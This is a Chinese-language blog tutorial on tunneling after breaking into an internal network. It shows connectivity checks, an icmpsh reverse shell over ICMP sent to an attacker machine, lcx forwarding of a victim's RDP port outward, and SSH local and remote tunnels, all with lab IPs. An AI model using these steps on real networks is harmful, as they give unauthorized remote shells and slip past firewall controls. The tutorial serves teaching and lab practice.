前言
在打進內網之后,我們要判斷此時的流量是否出的去、進的來,在一些真實的網路環境中,網路中的主機彼此進行通信一般是通過建立TCP連接然后進行資料通信,但是企業出于安全方面的考慮,也通常會在邊界設定一些軟/硬體防火墻來檢查內部網路和外部網路的連接情況,假如這時我們想通過某個埠或者某個協議來與內網來進行一個連接,但是發現連接被防火墻所檢測出例外,并且阻止此次連接的進行那么我們該怎么辦?這個時候黑客們一般會借助一些隧道技術來對防火墻來做出繞過,那么什么是隧道呢?這里隧道的意思是指將我們的資料包用防火墻允許的埠或者協議來進行封裝后以致于達到穿過防火墻目的的一種手法,一下便是一些常見的隧道,
應用層隧道:HTTP隧道、HTTPS隧道、DNS隧道、SSH隧道
傳輸層隧道:TCP隧道、UDP隧道
網路層隧道:ICMP隧道、IPV6隧道、GRE隧道
判斷網路流量的連通性
在打入內網之后,我們要對內網機器是否出網做出一個判斷,且要判斷出該網路中防火墻放行何種協議或者埠,之后我們才可以用對應放行的協議或埠來搭建相應的隧道,
判斷ICMP協議
ping <IP地址或域名>

判斷HTTP協議
判斷HTTP協議連通性我們可以利用wget或者curl等工具來進行實作
wget <IP地址或域名>
curl <IP地址或域名>


判斷TCP、UDP協議
TCP、UDP協議判斷可以利用netcat(簡稱nc)
nc -zv <IP地址 埠號> #默認檢測TCP
nc -zvu <IP地址 埠號> #u引數為檢測UDP

判斷DNS協議
DNS協議判在windwos中可以利用nslookup,在linux中可以利用dig,
mslookup <域名> <DNS IP> #windwos
dig @<DNS IP> <域名> #linux


隧道搭建
ICMP隧道
首先在kali上安裝icmpsh軟體
https://github.com/inquisb/icmpsh.git #軟體地址
我們可以直接用git克隆過來
git clone https://github.com/inquisb/icmpsh.git

然后我們還需要來安裝python-impacket類別庫以保證對TCP、UDP、ICMP等協議的訪問
pip2 install impacket

接下來我們還需要關閉我們之前的ping命令應答程式,這樣可以防止內核自己對ping包進行回應,
sysctl -w net.ipv4.icmp_echo_ignore_all=1
實驗完成后開啟系統ping的話將最后的1改為0即可

然后可以在kali上開始監聽
python icmpsh_m.py 本機ip 目標ip

再把icmpsh.exe傳輸到靶機上


icmpsh.exe -t 192.168.110.140 # -t引數后面接上本機的ip地址

接收到shell,由于資料是利用PING請求/回復報文通過網路層傳輸,因此并不需要指定服務或者埠,這種流量是無法被基于代理的防火墻檢測到的,因此這種方式可能繞過一些防火墻規則,
埠轉發和映射
在防火墻屏蔽了某些埠(如3389)埠的資料時,我們可以一些埠轉發技術來把3389的流量給轉發出來或者映射到服務器的其他埠上,這里我們利用一款lcx的小工具來進行實驗,
下載地址
https://github.com/cw1997/NATBypass #該版本為go語言開發,一些老版的lcx的連接不是很穩定
埠轉發
首先將下載好的lcx(原版本檔案名字為nb)上傳到目標靶機,然后在目標靶機上執行
lcx.exe -slave 127.0.0.1:3389 192.168.178.1:4444 #192.168.178.1為攻擊機,4444為轉發出來的埠

然后在攻擊機器上執行
lcx.exe -listen 4444 5555

這里成功建立了一個連接
建立好連接之后,我們就可以在我們的攻擊機進行遠程連接

然后輸入密碼即可

埠映射
埠轉發是把內網的流量給轉發到我們公網的VPS中,而埠映射則是把內網中一個埠的流量轉發到該內網中另外一個埠中以至于逃避防火墻的檢測
例把內網中3389的流量轉發到33891埠中
lcx.exe -tran 33891 192.168.178.133:3389

輸入密碼即可連接成功

SSH隧道
在內網中幾乎所有的Linux服務器都支持SSH協議,所以SSH隧道也是一種非常常見的隧道技術
一般我們利用SSH客戶端去連接服務端命令如下
ssh root@192.168.1.1
但是這里我們需要利用到SSH來搭建隧道技術,所以我們還需要了解到一下搭建SSH隧道經常用到的引數
-f:后臺運行ssh -N:安靜的建立連接(可以建立連接且看不到會話) -C:壓縮傳輸,提高傳輸速度 -g:允許遠程主機連接本地用于轉發的埠 -L:本地埠轉發 -R:遠程埠轉發 -D:動態轉發 -p:指定ssh埠
本地轉發
這里有如下一個場景(以前畫的,完整的拓撲圖后面還有一臺機器,這里偷懶,直接截圖上來了)

本機可以訪問到targer1,但是訪問不到target2,這里我們就target1為跳板機然后利用ssh的埠轉發來直接用本機連接上target2的ssh服務
首先在本機上執行如下命令
ssh -CfNg -L 6666:192.168.239.129:22 root@192.168.178.142 #6666為本機埠,其他ip和埠看圖
然后輸入target1的密碼即可

因為我們加了-N引數,所以這里看不到任何現象,我們可以看看6666埠時候開啟且建立連接
C:\Users\隨風>netstat -ano

可以看到6666埠是已經開啟的,那么我們就可以用ssh連接本地的6666埠以達到連接到target2的ssh服務
如下,我們就連接到了target2這臺ubuntu服務器了

遠程轉發
有本地轉發為什么還要用到遠程轉發呢,我們想想本地轉發的網路環境,是外網可以訪問到邊界的target1,假如這個時候外網訪問不到內網設備,但是內網可以訪問到本地的外網VPS設備,這種情況下就要利用到遠程轉發了
我們要已target1為跳板,將kali的4444埠流量轉發到target2的22埠上,然后訪問kali的4444埠以達到訪問內網的22埠的效果
首先我們需要在target1上執行如下命令
ssh -CfNg -R 4444:192.168.239.129:22 root@192.168.178.128 #4444為kali外網VPS埠,其他埠和地址見本地轉發圖片
然后輸入kali的賬號密碼即可

之后我們就可以在kali上通過連接4444埠來連接上target2的ssh服務了

__EOF__
作者: 隨風kali 本文鏈接: https://www.cnblogs.com/sfsec/p/15534100.html
著作權宣告: 本博客所有文章除特別宣告外,均采用 BY-NC-SA 許可協議,轉載請注明出處!
聲援博主: 如果您覺得文章對您有幫助,可以點擊文章右下角【推薦】一下,您的鼓勵是博主的最大動力!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/373771.html
標籤:其他
上一篇:HTTP 簡單介紹
下一篇:PLC學習(一)——PLC基礎
